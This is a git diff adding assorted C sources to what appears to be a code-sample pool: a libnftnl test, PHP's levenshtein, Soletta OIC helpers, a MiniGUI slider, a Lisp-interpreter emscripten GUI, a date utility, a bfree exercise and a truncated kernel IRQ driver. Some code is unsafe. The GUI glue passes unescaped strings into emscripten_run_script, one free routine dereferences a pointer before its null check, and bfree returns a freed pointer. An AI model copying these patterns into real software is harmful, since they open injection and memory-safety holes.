+		print_err("Rule compat_position mismatches");
+}
+
+int main(int argc, char *argv[])
+{
+	struct nftnl_rule *a, *b;
+	char buf[4096];
+	struct nlmsghdr *nlh;
+
+	a = nftnl_rule_alloc();
+	b = nftnl_rule_alloc();
+	if (a == NULL || b == NULL)
+		print_err("OOM");
+
+	nftnl_rule_set_u32(a, NFTNL_RULE_FAMILY, AF_INET);
+	nftnl_rule_set_str(a, NFTNL_RULE_TABLE, "table");
+	nftnl_rule_set_str(a, NFTNL_RULE_CHAIN, "chain");
+	nftnl_rule_set_u64(a, NFTNL_RULE_HANDLE, 0x1234567812345678);
+	nftnl_rule_set_u32(a, NFTNL_RULE_COMPAT_PROTO, 0x12345678);
+	nftnl_rule_set_u32(a, NFTNL_RULE_COMPAT_FLAGS, 0x12345678);
+	nftnl_rule_set_u64(a, NFTNL_RULE_POSITION, 0x1234567812345678);
+
+	nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_NEWRULE, AF_INET, 0, 1234);
+	nftnl_rule_nlmsg_build_payload(nlh, a);
+
+	if (nftnl_rule_nlmsg_parse(nlh, b) < 0)
+		print_err("parsing problems");
+
+	cmp_nftnl_rule(a,b);
+
+	nftnl_rule_free(a);
+	nftnl_rule_free(b);
+	if (!test_ok)
+		exit(EXIT_FAILURE);
+
+	printf("%s: \033[32mOK\e[0m\n", argv[0]);
+	return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0022766_levenshtein.c b/pool/shard001/C/0022766_levenshtein.c
new file mode 100644
index 0000000000000000000000000000000000000000..786ca052d7fbf6a0c4d9624c2bd2e8153296cef5
--- /dev/null
+++ b/pool/shard001/C/0022766_levenshtein.c
@@ -0,0 +1,142 @@
+/*
+   +----------------------------------------------------------------------+
+   | PHP Version 5                                                        |
+   +----------------------------------------------------------------------+
+   | Copyright (c) 1997-2014 The PHP Group                                |
+   +----------------------------------------------------------------------+
+   | This source file is subject to version 3.01 of the PHP license,      |
+   | that is bundled with this package in the file LICENSE, and is        |
+   | available through the world-wide-web at the following url:           |
+   | http://www.php.net/license/3_01.txt                                  |
+   | If you did not receive a copy of the PHP license and are unable to   |
+   | obtain it through the world-wide-web, please send a note to          |
+   | license@php.net so we can mail you a copy immediately.               |
+   +----------------------------------------------------------------------+
+   | Author: Hartmut Holzgraefe <hholzgra@php.net>                        |
+   +----------------------------------------------------------------------+
+ */
+/* $Id$ */
+
+#include "php.h"
+#include <stdlib.h>
+#include <errno.h>
+#include <ctype.h>
+#include "php_string.h"
+
+#define LEVENSHTEIN_MAX_LENGTH 255
+
+/* {{{ reference_levdist
+ * reference implementation, only optimized for memory usage, not speed */
+static int reference_levdist(const char *s1, int l1, const char *s2, int l2, int cost_ins, int cost_rep, int cost_del )
+{
+	int *p1, *p2, *tmp;
+	int i1, i2, c0, c1, c2;
+
+	if (l1 == 0) {
+		return l2 * cost_ins;
+	}
+	if (l2 == 0) {
+		return l1 * cost_del;
+	}
+
+	if ((l1 > LEVENSHTEIN_MAX_LENGTH) || (l2 > LEVENSHTEIN_MAX_LENGTH)) {
+		return -1;
+	}
+	p1 = safe_emalloc((l2 + 1), sizeof(int), 0);
+	p2 = safe_emalloc((l2 + 1), sizeof(int), 0);
+
+	for (i2 = 0; i2 <= l2; i2++) {
+		p1[i2] = i2 * cost_ins;
+	}
+	for (i1 = 0; i1 < l1 ; i1++) {
+		p2[0] = p1[0] + cost_del;
+
+		for (i2 = 0; i2 < l2; i2++) {
+			c0 = p1[i2] + ((s1[i1] == s2[i2]) ? 0 : cost_rep);
+			c1 = p1[i2 + 1] + cost_del;
+			if (c1 < c0) {
+				c0 = c1;
+			}
+			c2 = p2[i2] + cost_ins;
+			if (c2 < c0) {
+				c0 = c2;
+			}
+			p2[i2 + 1] = c0;
+		}
+		tmp = p1;
+		p1 = p2;
+		p2 = tmp;
+	}
+	c0 = p1[l2];
+
+	efree(p1);
+	efree(p2);
+
+	return c0;
+}
+/* }}} */
+
+/* {{{ custom_levdist
+ */
+static int custom_levdist(char *str1, char *str2, char *callback_name TSRMLS_DC)
+{
+	php_error_docref(NULL TSRMLS_CC, E_WARNING, "The general Levenshtein support is not there yet");
+	/* not there yet */
+
+	return -1;
+}
+/* }}} */
+
+/* {{{ proto int levenshtein(string str1, string str2[, int cost_ins, int cost_rep, int cost_del])
+   Calculate Levenshtein distance between two strings */
+PHP_FUNCTION(levenshtein)
+{
+	int argc = ZEND_NUM_ARGS();
+	char *str1, *str2;
+	char *callback_name;
+	int str1_len, str2_len, callback_len;
+	long cost_ins, cost_rep, cost_del;
+	int distance = -1;
+
+	switch (argc) {
+		case 2: /* just two strings: use maximum performance version */
+			if (zend_parse_parameters(2 TSRMLS_CC, "ss", &str1, &str1_len, &str2, &str2_len) == FAILURE) {
+				return;
+			}
+			distance = reference_levdist(str1, str1_len, str2, str2_len, 1, 1, 1);
+			break;
+
+		case 5: /* more general version: calc cost by ins/rep/del weights */
+			if (zend_parse_parameters(5 TSRMLS_CC, "sslll", &str1, &str1_len, &str2, &str2_len, &cost_ins, &cost_rep, &cost_del) == FAILURE) {
+				return;
+			}
+			distance = reference_levdist(str1, str1_len, str2, str2_len, cost_ins, cost_rep, cost_del);
+			break;
+
+		case 3: /* most general version: calc cost by user-supplied function */
+			if (zend_parse_parameters(3 TSRMLS_CC, "sss", &str1, &str1_len, &str2, &str2_len, &callback_name, &callback_len) == FAILURE) {
+				return;
+			}
+			distance = custom_levdist(str1, str2, callback_name TSRMLS_CC);
+			break;
+
+		default:
+			WRONG_PARAM_COUNT;
+	}
+
+	if (distance < 0 && /* TODO */ ZEND_NUM_ARGS() != 3) {
+		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Argument string(s) too long");
+	}
+
+	RETURN_LONG(distance);
+}
+/* }}} */
+
+/*
+ * Local variables:
+ * tab-width: 4
+ * c-basic-offset: 4
+ * End:
+ * vim600: sw=4 ts=4 fdm=marker
+ * vim<600: sw=4 ts=4
+ */
diff --git a/pool/shard001/C/0022791_sol-oic-common.c b/pool/shard001/C/0022791_sol-oic-common.c
new file mode 100644
index 0000000000000000000000000000000000000000..544dea6f5cfda58025f92e7afc7ef6e8705579af
--- /dev/null
+++ b/pool/shard001/C/0022791_sol-oic-common.c
@@ -0,0 +1,94 @@
+/*
+ * This file is part of the Soletta Project
+ *
+ * Copyright (C) 2015 Intel Corporation. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in
+ *     the documentation and/or other materials provided with the
+ *     distribution.
+ *   * Neither the name of Intel Corporation nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "sol-oic-common.h"
+#include "sol-oic-cbor.h"
+#include "sol-log.h"
+#include <assert.h>
+
+SOL_API enum sol_oic_map_loop_reason
+sol_oic_map_loop_init(const struct sol_oic_map_reader *map, struct sol_oic_map_reader *iterator, struct sol_oic_repr_field *repr)
+{
+    SOL_NULL_CHECK(map, SOL_OIC_MAP_LOOP_ERROR);
+    SOL_NULL_CHECK(iterator, SOL_OIC_MAP_LOOP_ERROR);
+    SOL_NULL_CHECK(repr, SOL_OIC_MAP_LOOP_ERROR);
+
+    static_assert(sizeof(*iterator) == sizeof(CborValue),
+        "struct sol_oic_map_reader size must be at least the same size of "
+        "CborValue struct defined in cbor.h header2");
+
+    if (!cbor_value_is_map((CborValue *)map))
+        return SOL_OIC_MAP_LOOP_ERROR;
+
+    if (cbor_value_enter_container((CborValue *)map, (CborValue *)iterator) != CborNoError)
+        return SOL_OIC_MAP_LOOP_ERROR;
+
+    /* Initialize repr with harmless data so cleanup works. */
+    repr->type = SOL_OIC_REPR_TYPE_BOOLEAN;
+    repr->key = NULL;
+    return SOL_OIC_MAP_LOOP_OK;
+}
+
+static void
+repr_field_free(struct sol_oic_repr_field *field)
+{
+    if (field->type == SOL_OIC_REPR_TYPE_TEXT_STRING ||
+        field->type == SOL_OIC_REPR_TYPE_BYTE_STRING)
+        free((char *)field->v_slice.data);
+
+    if (field)
+        free((char *)field->key);
+}
+
+SOL_API bool
+sol_oic_map_loop_next(struct sol_oic_repr_field *repr, struct sol_oic_map_reader *iterator, enum sol_oic_map_loop_reason *reason)
+{
+    CborError err;
+
+    repr_field_free(repr);
+    if (!cbor_value_is_valid((CborValue *)iterator))
+        return false;
+
+    err = sol_oic_cbor_repr_map_get_next_field((CborValue *)iterator, repr);
+    if (err != CborNoError) {
+        *reason = SOL_OIC_MAP_LOOP_ERROR;
+        return false;
+    }
+
+    return true;
+}
+
+SOL_API bool
+sol_oic_map_append(struct sol_oic_map_writer *oic_map_writer, struct sol_oic_repr_field *repr)
+{
+    return sol_oic_packet_cbor_append(oic_map_writer, repr) == CborNoError;
+}
diff --git a/pool/shard001/C/0022801_rotslider.c b/pool/shard001/C/0022801_rotslider.c
new file mode 100644
index 0000000000000000000000000000000000000000..964a1e36463d37218b20fcf3cbeb6390650bb132
--- /dev/null
+++ b/pool/shard001/C/0022801_rotslider.c
@@ -0,0 +1,202 @@
+/*
+** $Id: rotslider.c 7372 2007-08-16 05:33:55Z xgwang $
+**
+** rotslider.c: skin rotation slider implementation.
+**
+** Copyright (C) 2003 ~ 2007 Feynman Software.
+**
+** Current maintainer: Allen
+**
+** Create date: 2003-10-21 by Allen
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+
+#ifdef __MINIGUI_LIB__
+	#include "common.h"
+	#include "minigui.h"
+	#include "gdi.h"
+	#include "window.h"
+	#include "control.h"
+	#include "mgext.h"
+	#include "fixedmath.h"
+#else
+	#include <minigui/common.h>
+	#include <minigui/minigui.h>
+	#include <minigui/gdi.h>
+	#include <minigui/window.h>
+	#include <minigui/control.h>
+	#include <minigui/mgext.h>
+	#include <minigui/fixedmath.h>
+#endif
+
+#if defined(_EXT_SKIN) && defined(_FIXED_MATH)
+
+#include "skin.h"
+#include "item_comm.h"
+
+#ifndef M_PI
+#define M_PI    3.14159265358979323846
+#endif
+
+#define DECLARE_VOID(type, var) \
+    type *var = (type *) item->type_data; \
+	if (!var) return;
+#define DECLARE(type, var, ret) \
+    type *var = (type *) item->type_data; \
+	if (!var) return ret;
+
+/* make degree belong [0, 360) */
+static void adjust_degree ( int *degree )
+{
+	while ( *degree < 0 ){
+		*degree += 360;
+	};
+	*degree %= 360;
+}
+
+/* wether degree between start_deg and end_deg (both belong [0, 360)) */
+/* according to direction (clock or anitclock) */
+static BOOL degree_between ( int degree, int start_deg, int end_deg, BOOL clock )
+{
+	adjust_degree ( & degree	);
+	adjust_degree ( & start_deg	);
+	adjust_degree ( & end_deg	);
+
+	if ( clock ){	/* clock direction */
+		if ( end_deg > start_deg )	end_deg -= 360;
+		if ( degree  > start_deg )	degree  -= 360;
+		return ( degree >= end_deg );
+	}
+	else{			/* anticlock direc */
+		if ( end_deg < start_deg )	end_deg += 360;
+		if ( degree  < start_deg )	degree  += 360;
+		return ( degree <= end_deg );
+	}
+}
+
+
+static DWORD rotslider_get_pos (skin_item_t *item) 
+{
+	DECLARE (si_rotslider_t, slider, -1);
+
+    return slider->cur_pos;
+}
+
+static DWORD rotslider_set_pos (skin_item_t *item, DWORD pos) 
+{
+	DWORD old_pos;
+	DECLARE (si_rotslider_t, slider, -1);
+
+	old_pos = slider->cur_pos;
+	slider->cur_pos = pos;
+	if ( !degree_between(pos, slider->start_deg, slider->end_deg, item->style&SI_ROTSLIDER_CW) )
+		slider->cur_pos = slider->start_deg;
+	return old_pos;
+}
+
+static void rotslider_draw_bg (HDC hdc, skin_item_t *item)
+{
+    FillBoxWithBitmap (hdc, item->x, item->y, 0, 0, &ITEMBMP(item));
+}
+
+#define CAL_GOU(r, d)       \
+        fixtoi (fixmul (itofix(r), fixcos (ftofix(d))))
+
+#define CAL_GU(r, d)       \
+        fixtoi (fixmul (itofix(r), fixsin (ftofix(d))))
+
+static void rotslider_draw_attached (HDC hdc, skin_item_t* item)
+{
+	int xo = 0, degree;
+	const BITMAP *bmp;
+	DECLARE_VOID (si_rotslider_t, slider);
+
+	rotslider_set_pos (item, (DWORD)slider->cur_pos); 
+
+	if ( item->style & SI_STATUS_CLICKED )
+		xo = 1;
+	else if ( item->style & SI_STATUS_HILIGHTED )
+		xo = 2;
+
+	bmp = &BMP(item, slider->thumb_bmp_index ); 
+	degree = slider->cur_pos;
+	adjust_degree ( &degree );
+	FillBoxWithBitmapPart (hdc, 
+		(item->rc_hittest.left + item->rc_hittest.right)/2 + 
+			CAL_GOU (slider->radius, (degree*M_PI/180)) - bmp->bmWidth/3/2, 
+		(item->rc_hittest.top+ item->rc_hittest.bottom)/2 - 
+			CAL_GU (slider->radius, (degree*M_PI/180)) -bmp->bmHeight/2, 
+		bmp->bmWidth/3, bmp->bmHeight, 0, 0, 
+		bmp, xo * bmp->bmWidth / 3, 0);
+}
+
+static int get_changed_pos (skin_item_t* item, int x, int y)
+{
+    int cx, cy, degree;
+	fixed radius;
+	fixed radian_acos, radian;
+	DECLARE (si_rotslider_t, slider, -1);
+
+	cx = (item->shape.left + item->shape.right) / 2;
+	cy = (item->shape.top + item->shape.bottom) / 2;
+	radius = fixhypot ( itofix (cx - x), itofix (cy - y));
+	radian_acos = fixacos (fixdiv (itofix (x - cx), radius));
+	radian = cy < y ? (fixsub (ftofix (2 * M_PI), radian_acos)) : radian_acos;
+	degree = ((int)(fixtof (fixmul (radian, itofix (180))) / M_PI + 0.5) + 360) % 360;
+
+	/* we've got current degree which belong [0, 360) */
+	if ( !degree_between(degree, slider->start_deg, slider->end_deg, item->style&SI_ROTSLIDER_CW) )
+		degree = slider->cur_pos;
+
+	return degree;
+}
+
+static int rotslider_msg_proc (skin_item_t* item, int message, WPARAM wparam, LPARAM lparam)
+{
+	int pos = 0;
+	
+	if ( item->style & SI_ROTSLIDER_STATIC )
+		return 0;
+	
+	switch (message) {
+	case SKIN_MSG_LBUTTONDOWN:
+		skin_set_check_status ( item->hostskin, item->id, TRUE );
+	case SKIN_MSG_MOUSEDRAG:     /* ROTSLIDER_CHANGED event */
+		/* calculate new degree [start_deg, end_deg] belong to [0,2*Pi) */
+		pos = get_changed_pos (item, wparam, lparam);
+		RAISE_EVENT ( SIE_SLIDER_CHANGED, (void *)pos );
+		/* default operation */
+		skin_set_thumb_pos (item->hostskin, item->id, pos);
+		break;
+	case SKIN_MSG_LBUTTONUP:
+		skin_set_check_status ( item->hostskin, item->id, FALSE );
+		break;
+	case SKIN_MSG_SETFOCUS:
+		RAISE_EVENT ( SIE_GAIN_FOCUS, NULL );
+		break;
+	case SKIN_MSG_KILLFOCUS:
+		RAISE_EVENT ( SIE_LOST_FOCUS, NULL );
+		break;
+	}
+	return 1;
+}
+
+static skin_item_ops_t rotslider_ops = {
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    rotslider_draw_bg,
+    rotslider_draw_attached,
+    rotslider_get_pos,
+    rotslider_set_pos,
+    rotslider_msg_proc
+};
+
+skin_item_ops_t *ROTSLIDER_OPS = &rotslider_ops;
+
+#endif /* _EXT_SKIN && _FIXED_MATH */
diff --git a/pool/shard001/C/0022834_jsgui-main.c b/pool/shard001/C/0022834_jsgui-main.c
new file mode 100644
index 0000000000000000000000000000000000000000..3a1d7706e5c089de2d413bf9dd44eb68cdf0a54b
--- /dev/null
+++ b/pool/shard001/C/0022834_jsgui-main.c
@@ -0,0 +1,281 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <setjmp.h>
+#include "wannabe-lisp.h"
+
+/*
+ * Lots of ugly glue between the JS/HTML
+ * code and the C code. It's basically
+ * a mishmash of bits of `main.c' and
+ * `linereader.c', with lots of hacks to prevent
+ * strange issues that occur with emscripten.
+ * (IIRC it's very anal about stack-based buffers,
+ * or something like that)
+ *
+ * Special warning:
+ *  THE GUI IS A MASSIVE HACK
+ *  THE GUI IS A MASSIVE HACK
+ *  THE GUI IS A MASSIVE HACK
+ */
+
+int interactive = 1;
+env_t *global;		/* pointer to global environment */
+jmp_buf repl_jmp;	/* jump pointer to REPL used to 
+			 * recover from in-code errors */
+int save_mode = 0;
+FILE *save_file;
+
+static char *buf;
+
+char* out;
+char *p;
+list_t *expr;
+int i, c;
+char *ptr, *old;
+FILE *prefix;
+int ready = 0;
+
+int bal = -1;
+int iter = 0;
+
+/* ============= C -> JavaScript hooks ============= */
+
+void c_writeback(char *str)
+{
+	char *buf = malloc(ERROR_TEXT_BUFSIZ);
+	if (!buf)
+		exit(1);
+	sprintf(buf, "writeback(\"%s\");", str);
+	emscripten_run_script(buf);
+	free(buf);
+}
+
+void c_writeback_nl(char *str)
+{
+	char *buf = malloc(ERROR_TEXT_BUFSIZ);
+	if (!buf)
+		exit(1);
+	sprintf(buf, "writeback_nl(\"%s\");", str);
+	emscripten_run_script(buf);
+	free(buf);
+}
+
+void c_writedebug(char *str)
+{
+	char *buf = malloc(DEBUGLOG_BUFSIZ);
+	if (!buf)
+		exit(1);
+	sprintf(buf, "writedebug(\"%s\");", str);
+	emscripten_run_script(buf);
+	free(buf);
+}
+
+void c_write_char(char *str)
+{
+	char *buf = malloc(ERROR_TEXT_BUFSIZ);
+	if (!buf)
+		exit(1);
+	sprintf(buf, "write_char(\"%s\");", str);
+	emscripten_run_script(buf);
+	free(buf);
+}
+
+/* ============================================ */
+
+/*
+ * JavaScript calls this when the C code
+ * crashes (segfaults) or does an exit(1),
+ * which it does when there are user code
+ * errors
+ */
+int jsgui_error_handler(int derp)
+{
+	/*
+	 * I have to do this reallocation thing
+	 * for some reason,
+	 * else the emscripten-ified code fucks up 
+	 */
+	free(buf);
+	buf = malloc(LINEBUFSIZ);
+	if (!buf)
+		exit(1);
+	sprintf(buf, "");
+
+	bal = -1;
+	gc();
+
+	stacktracer_reset();
+		
+	c_writeback("]=> ");
+	iter = 1;
+
+	return 0;
+}
+
+/*
+ * JavaScript calls this routine
+ * after the user types a line
+ * in the GUI terminal box.
+ */
+int handle_gui_line(char *lin)
+{
+	extern int do_setup(int waste);
+	int ind;
+
+	/* initialize if necessary */
+	if (!ready)
+		do_setup(0);
+
+	/* ignore empty lines, comments */
+	if (!*lin || check_comment(lin)) {
+		/*
+		 * Ensure a new "]=>" prompt is given
+		 * after a comment is typed 
+		 * on a "]=>" prompt 
+		 */
+		if (iter == 1)
+			--iter;
+	}
+	else {
+		/* add line to buffer */
+		strcat(buf, lin);
+		strcat(buf, " ");
+
+		/* check paren balance */
+		bal = 0;
+		for (p = buf; *p; ++p) {
+			if (*p == '(')
+				++bal;
+			else if (*p == ')')
+				--bal;
+		}
+
+		/* deal with negative nest */
+		if (bal < 0) {
+			error_msg("Botched syntax");
+			code_error();
+		}
+	}
+
+	/* If all parentheses have been closed, 
+	 * do eval-print on buffer */
+	if (bal == 0 && strlen(buf) >= 1) {
+		/* parse input into a tree */
+		expr = new_list();
+		build(expr, buf);
+
+		/* eval and print */
+		*out = 0;
+		printout(call_eval(expr, global), out);
+		c_writeback_nl(out);
+
+		/* clean up for the next iteration */
+		gc();
+
+		/*
+		 * I have to do this reallocation thing
+		 * for some reason,
+		 * else the emscripten-ified code fucks up 
+		 */
+		free(buf);
+		buf = malloc(LINEBUFSIZ);
+		sprintf(buf, "");
+		
+		/*
+		 * Reset prompt counter, parentheses 
+		 * balance register 
+		 */
+		iter = 0;
+		bal = -1;
+	}
+
+	/* =================== */
+
+	/* Print prompt */
+	if (!iter++)
+		/* new logical line */
+		c_writeback("]=> ");
+	else {
+		/* new user line, missing parentheses */
+		c_writeback("... ");
+		/* auto-indent */
+		if (bal > 0) {
+			for (ind = 0; ind < bal; ++ind) {
+				/* 
+				 * `writechar', as opposed to `writeback',
+				 * gets this included into the stuff
+				 * that gets sent back to the C core,
+				 * and also makes it to the clipboard
+				 * when requested
+				 */
+				c_write_char(" ");
+				c_write_char(" ");
+				c_write_char(" ");
+			}
+		}
+	}
+
+	/* Clear debug trace after every input line */
+	stacktracer_reset();
+	
+	return 0;
+}
+
+/*
+ * Allocate heap memory,
+ * setup debugmodule, etc.
+ */
+int do_setup(int waste)
+{
+	c_writeback_nl("wannabe-lisp GUI mode has been started");
+
+	/* setup stacktracer */
+	c_writeback_nl("setting up debug tracer...");
+	stacktracer_init();
+
+	c_writeback_nl("allocating buffers...");
+	buf = malloc(LINEBUFSIZ);
+	out = malloc(LINEBUFSIZ);
+
+	if (!buf || !out) {
+		c_writeback_nl("jsgui-main.c: setup: malloc() failed");
+		exit(0);
+	}
+
+	/* safety herp derp */
+	sprintf(buf, "");
+
+	/* Create global environment */
+	c_writeback_nl("creating global environment...");
+	global = new_env();
+
+	/* Set up the built-in procedure symbols 
+	 * for arithmetic, comparisons, etc. */
+	c_writeback_nl("installing primitives...");
+	install_primitives(global);
+
+	/*
+	 * Load up some composite primitives.
+	 * `prefix.txt' gets generated by `gen-prefix.py',
+	 * see the latter for further details about
+	 * these primitives 
+	 */
+	load_code_from_file("prefix.txt");
+
+	c_writeback_nl("ready.");
+	ready = 1;
+
+	sprintf(buf, "");
+
+	c_writeback("]=> ");
+	++iter;
+
+	/*
+	 * clear debug goo originating 
+	 * from primitives/prefix installation 
+	 */
+	stacktracer_reset();
+
+	return 0;
+}
diff --git a/pool/shard001/C/0022848_dateelem.c b/pool/shard001/C/0022848_dateelem.c
new file mode 100644
index 0000000000000000000000000000000000000000..7c6b1c644cb0d5df61e7ff2823d7121d2c542546
--- /dev/null
+++ b/pool/shard001/C/0022848_dateelem.c
@@ -0,0 +1,96 @@
+/* ****
+dateelem 1.3 - Finds one element of the current date
+main.c
+1.0: Copyright (C) 1998  Ultra-Flamin' Cool Computer Consulting
+1.0: Copyright (C) 2001 Techno-Info Comprehensive Solutions
+1.2: Copyright (C) 2002 Techno-Info Comprehensive Solutions
+1.3: Copyright (C) 2002 Techno-Info Comprehensive Solutions
+
+This software is licensed under the terms of the GNU General Public
+License version 2.0 of the Free Software Foundation (http://www.gnu.org)
+with NO WARRANTY, even the implied waranty of merchantability, or
+usability for a particular purpose.
+
+To contact the author of this program, visit the software web-site
+at:  http://boxenv.com
+**** */
+
+/* ****
+CHANGES FOR 1.2:
+
+2002-04-29: I added the "lnsz" mode so that the command
+"dateelem lnsz" simply outputs the size (in bytes) of
+a long-integer on the system that this program is built
+on.
+
+******************************************************
+
+CHANGES FOR 1.3:
+
+2002-10-24: I added the "dayoy" mode so that we can tell
+what day of the year it is.
+
+**** */
+
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+
+int st_same ( char *rg_a, char *rg_b )
+{
+  char *a;
+  char *b;
+
+  if ( rg_a == rg_b ) return 10;
+  if ( rg_a == ((char *)NULL) ) return 0;
+  if ( rg_b == ((char *)NULL) ) return 0;
+
+  a = rg_a;
+  b = rg_b;
+  while ( *a == *b )
+  {
+    if ( *a == '\0' ) return 10;
+    a++; b++;
+  }
+  return 0;
+}
+
+
+#define lmstrg(b) if ( st_same(argv[1],b) > 5 )
+#define emstrg(b) else if ( st_same(argv[1],b) > 5 )
+
+int main(argc,argv,environ)
+int argc;
+char **argv;
+char **environ;
+{
+  long a;
+  time_t b;
+  struct tm *c;
+  if ( argc < 2 )
+  {
+    fprintf(stderr,"%s: usage: %s [element]\n",argv[0],argv[0]);
+    exit(3);
+  }
+  b = time(0);
+  if ( argc > 2 ) b = ((time_t)atol(argv[2]));
+  a = (long)0;
+  c = localtime(&b);
+  lmstrg("year") a = (((long)(c->tm_year)) + (long)1900 );
+  emstrg("dayom") a = ((long)(c->tm_mday));
+  emstrg("dayoy") a = ((long)(c->tm_yday));
+  emstrg("dayow") a = (((long)(c->tm_wday)) + (long)1);
+  emstrg("month") a = (((long)(c->tm_mon)) + (long)1);
+  emstrg("hour") a = (((long)(c->tm_hour)) + (long)0);
+  emstrg("min") a = (((long)(c->tm_min)) + (long)0);
+  emstrg("sec") a = (((long)(c->tm_sec)) + (long)0);
+  emstrg("isdst") a = (((long)(c->tm_isdst)) + (long)0);
+  emstrg("raw") a = (long)b;
+  emstrg("lnsz") a = sizeof(long);
+  printf ( "%ld\n", a );
+  fflush(stdout);
+  return 0;
+}
+
diff --git a/pool/shard001/C/0022856_8-8.c b/pool/shard001/C/0022856_8-8.c
new file mode 100644
index 0000000000000000000000000000000000000000..adfb74b737f5820a51d6dae5884cfede23e2940b
--- /dev/null
+++ b/pool/shard001/C/0022856_8-8.c
@@ -0,0 +1,18 @@
+void* bfree(void* p, unsigned n)
+{
+    void free(void*);
+    unsigned nunits;
+    Header* ptr;
+
+    ptr = (Header*)p;
+    nunits = n / sizeof(Header);
+    if (nunits <= 1)
+        return NULL;
+    if (freep == NULL) {
+        base.s.ptr = freep = &base;
+        base.s.size = 0;
+    }
+    ptr->s.size = nunits;
+    free((void*)(ptr + 1));
+    return (void*)(ptr + 1);
+}
diff --git a/pool/shard001/C/0022862_irq.c b/pool/shard001/C/0022862_irq.c
new file mode 100644
index 0000000000000000000000000000000000000000..7889be3e6752aba9e52d6500c5c5a17934eb78c4
--- /dev/null
+++ b/pool/shard001/C/0022862_irq.c
@@ -0,0 +1,177 @@
+/*
+ * arch/arm/mach-ks8695/irq.c
+ *
+ * Copyright (C) 2006 Ben Dooks <ben@simtec.co.uk>
+ * Copyright (C) 2006 Simtec Electronics
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ */
+
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/interrupt.h>
+#include <linux/ioport.h>
+#include <linux/device.h>
+#include <linux/io.h>
+
+#include <mach/hardware.h>
+#include <asm/irq.h>
+
+#include <asm/mach/irq.h>
+
+#include <mach/regs-irq.h>
+#include <mach/regs-gpio.h>
+
+static void ks8695_irq_mask(struct irq_data *d)
+{
+	unsigned long inten;
+
+	inten = __raw_readl(KS8695_IRQ_VA + KS8695_INTEN);
+	inten &= ~(1 << d->irq);
+
+	__raw_writel(inten, KS8695_IRQ_VA + KS8695_INTEN);
+}
+
+static void ks8695_irq_unmask(struct irq_data *d)
+{
+	unsigned long inten;
+
+	inten = __raw_readl(KS8695_IRQ_VA + KS8695_INTEN);
+	inten |= (1 << d->irq);
+
+	__raw_writel(inten, KS8695_IRQ_VA + KS8695_INTEN);
+}
+
+static void ks8695_irq_ack(struct irq_data *d)
+{
+	__raw_writel((1 << d->irq), KS8695_IRQ_VA + KS8695_INTST);
+}
+
+
+static struct irq_chip ks8695_irq_level_chip;
+static struct irq_chip ks8695_irq_edge_chip;
+
+
+static int ks8695_irq_set_type(struct irq_data *d, unsigned int type)
+{
+	unsigned long ctrl, mode;
+	unsigned short level_triggered = 0;
+
+	ctrl = __raw_readl(KS8695_GPIO_VA + KS8695_IOPC);
+
+	switch (type) {
+		case IRQ_TYPE_LEVEL_HIGH:
+			mode = IOPC_TM_HIGH;
+			level_triggered = 1;
+			break;
+		case IRQ_TYPE_LEVEL_LOW:
+			mode = IOPC_TM_LOW;
+			level_triggered = 1;
+			break;
+		case IRQ_TYPE_EDGE_RISING:
+			mode = IOPC_TM_RISING;
+			break;
+		case IRQ_TYPE_EDGE_FALLING:
+			mode = IOPC_TM_FALLING;
+			break;
+		case IRQ_TYPE_EDGE_BOTH:
+			mode = IOPC_TM_EDGE;
+			break;
+		default:
+			return -EINVAL;
+	}
+
+	switch (d->irq) {
+		case KS8695_IRQ_EXTERN0:
+			ctrl &= ~IOPC_IOEINT0TM;
+			ctrl |= IOPC_IOEINT0_MODE(mode);
+			break;
+		case KS8695_IRQ_EXTERN1:
+			ctrl &= ~IOPC_IOEINT1TM;
+			ctrl |= IOPC_IOEINT1_MODE(mode);
+			break;
+		case KS8695_IRQ_EXTERN2:
+			ctrl &= ~IOPC_IOEINT2TM;
+			ctrl |= IOPC_IOEINT2_MODE(mode);
+			break;
+		case KS8695_IRQ_EXTERN3:
+			ctrl &= ~IOPC_IOEINT3TM;
+			ctrl |= IOPC_IOEINT3_MODE(mode);
+			break;
+		default:
